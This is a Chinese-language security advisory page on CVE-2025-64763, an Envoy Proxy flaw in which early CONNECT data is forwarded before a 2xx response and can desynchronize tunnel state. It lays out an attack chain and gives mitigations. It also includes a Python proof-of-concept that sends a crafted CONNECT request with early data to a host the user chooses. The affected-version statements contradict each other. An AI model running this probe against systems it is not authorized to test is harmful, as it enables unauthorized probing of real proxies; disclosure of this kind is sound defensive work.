IPBUF安全漏洞报告
English
CVE-2025-64763 CVSS 3.7 低危

CVE-2025-64763: Envoy TCP代理CONNECT请求数据转发安全漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-64763
漏洞类型
协议处理缺陷
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Envoy Proxy

相关标签

EnvoyTCP代理CONNECT隧道协议处理缺陷数据转发CVE-2025-64763代理服务器状态去同步

漏洞概述

CVE-2025-64763是Envoy代理中的一个安全漏洞,发生在Envoy配置为TCP代理模式处理CONNECT请求的场景下。该漏洞允许客户端在收到2xx响应之前发送数据,而Envoy会将这些数据转发到上游TCP连接。当上游的转发代理响应非2xx状态时,可能导致CONNECT隧道状态去同步(de-synchronized)。默认配置下,Envoy为保持向后兼容性会继续允许这种早期CONNECT数据行为,但这可能造成数据泄露或隧道状态混乱。攻击者需要构造特殊的CONNECT请求序列,利用上游代理拒绝连接后的状态不一致来获取未授权的数据访问。CVSS评分3.7,属于低危漏洞,主要影响机密性。

技术细节

该漏洞源于Envoy对HTTP CONNECT方法的非标准实现。标准HTTP规范要求代理在成功建立隧道(收到2xx响应)之前不应转发客户端数据,但Envoy默认允许在CONNECT请求协商期间提前接收并转发数据。当Envoy部署在转发代理上游时,如果上游代理返回非2xx状态(如407 Proxy Authentication Required、403 Forbidden等),已转发的数据可能处于悬挂状态,造成隧道状态不一致。攻击者可通过以下方式利用:1) 发送包含早期数据的CONNECT请求;2) 等待上游代理拒绝连接;3) 利用此时的状态混乱尝试读取或注入数据。Envoy提供了运行时标志envoy.reloadable_features.reject_early_connect_data来控制此行为,启用后可拒绝在2xx响应前发送数据的CONNECT请求。

攻击链分析

STEP 1
步骤1
攻击者识别部署了存在漏洞版本的Envoy(1.33.12、1.34.10、1.35.6、1.36.2或更早版本),且配置为TCP代理模式处理CONNECT请求
STEP 2
步骤2
攻击者构造带有早期数据的CONNECT请求,在HTTP头后立即发送数据载荷,试图在2xx响应前触发数据转发
STEP 3
步骤3
Envoy(默认配置)接受早期数据并转发到上游TCP连接,可能建立到上游代理的连接
STEP 4
步骤4
上游转发代理检测到异常(如缺少认证、无效目标等)并返回非2xx状态响应(如407、403等)
STEP 5
步骤5
由于早期数据已转发但连接被拒绝,造成CONNECT隧道状态去同步,可能导致数据泄露或状态混乱
STEP 6
步骤6
攻击者利用状态不一致尝试读取悬挂数据或注入恶意内容,影响系统机密性

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-64763 PoC - Envoy CONNECT Early Data Forwarding This PoC demonstrates the vulnerability where Envoy forwards client data before receiving a 2xx response for CONNECT requests. """ import socket import ssl import time def test_envoy_connect_vulnerability(target_host, target_port): """ Test for CVE-2025-64763: Early CONNECT data forwarding The vulnerability allows data to be forwarded before 2xx response, which can cause tunnel state desync when upstream rejects the connection. """ context = ssl.create_default_context() try: with socket.create_connection((target_host, target_port), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: # Send CONNECT request with early data # The vulnerability is that Envoy forwards this data before 2xx connect_request = ( b'CONNECT target.example.com:443 HTTP/1.1\r\n' b'Host: target.example.com:443\r\n' b'Proxy-Authorization: Basic dXNlcjpwYXNz\r\n' b'Content-Length: 100\r\n' b'\r\n' b'EARLY_DATA_BEFORE_2XX_RESPONSE\r\n' ) ssock.sendall(connect_request) # Read response (may be non-2xx from upstream) response = b'' try: while True: chunk = ssock.recv(4096) if not chunk: break response += chunk if b'\r\n\r\n' in response: break except: pass print(f"Response: {response.decode('utf-8', errors='ignore')}") print("If data was forwarded before 2xx, the tunnel state may be desynced") except Exception as e: print(f"Error: {e}") print("This may indicate the vulnerability or network issues") if __name__ == "__main__": # Usage example print("CVE-2025-64763 PoC - Envoy CONNECT Early Data Vulnerability") print("=" * 60) target = input("Enter target host: ") port = int(input("Enter target port [443]: ") or "443") test_envoy_connect_vulnerability(target, port)

影响范围

Envoy Proxy < 1.33.12
Envoy Proxy < 1.34.10
Envoy Proxy < 1.35.6
Envoy Proxy < 1.36.2

防御指南

临时缓解措施
临时缓解措施:1) 设置运行时标志envoy.reloadable_features.reject_early_connect_data=true,强制拒绝早期CONNECT数据;2) 限制CONNECT功能仅对经过认证的客户端开放;3) 在网络层实施最小权限原则,隔离Envoy代理与其他内部服务;4) 监控CONNECT请求的异常模式,特别是带有早期数据的请求。长期建议尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表